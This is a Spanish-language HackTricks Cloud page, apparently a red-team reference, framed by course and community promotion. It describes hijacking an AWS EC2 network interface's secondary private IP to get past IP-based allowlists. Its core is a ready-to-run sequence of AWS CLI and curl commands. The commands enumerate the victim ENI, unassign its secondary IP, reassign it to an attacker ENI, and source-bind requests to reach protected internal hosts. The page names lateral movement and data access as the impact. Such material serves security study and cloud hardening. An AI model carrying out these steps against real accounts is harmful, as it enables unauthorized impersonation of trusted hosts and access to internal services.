AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Abusar de ec2:UnassignPrivateIpAddresses y ec2:AssignPrivateIpAddresses para robar la IP privada secundaria de la ENI de la víctima y moverla a una ENI atacante en la misma subnet/AZ. Muchos servicios internos y grupos de seguridad controlan el acceso por IPs privadas específicas. Al mover esa dirección secundaria, el atacante se hace pasar por el host de confianza en L3 y puede acceder a servicios allowlisted.
Prereqs:
- Permisos:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressesen el ARN de la ENI víctima, yec2:AssignPrivateIpAddressesen el ARN de la ENI atacante. - Ambas ENIs deben estar en la misma subnet/AZ. La dirección objetivo debe ser una IP secundaria (la primaria no se puede desasignar).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG en un servicio objetivo que permite solo $HIJACK_IP - PROTECTED_HOST=
# DNS privado o IP del servicio protegido
Steps:
- Elige una IP secundaria de la ENI de la víctima
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Asegúrate de que el host protegido permita solo esa IP (idempotente). Si en su lugar estás usando reglas SG-to-SG, omite este paso.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Línea base: desde la instancia atacante, la solicitud a PROTECTED_HOST debería fallar sin origen suplantado (p. ej., a través de SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Desasignar la IP secundaria del ENI de la víctima
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Asigna la misma IP al ENI del atacante (en AWS CLI v1 añade
--allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Verificar que la propiedad se haya transferido
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Desde la instancia atacante, source-bind a la hijacked IP para alcanzar el host protegido (asegúrate de que la IP esté configurada en el SO; si no, añádela con
ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Impact
- Eludir IP allowlists y suplantar hosts de confianza dentro del VPC moviendo secondary private IPs entre ENIs en la misma subnet/AZ.
- Alcanzar servicios internos que restringen el acceso por IPs de origen específicas, permitiendo movimiento lateral y acceso a datos.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

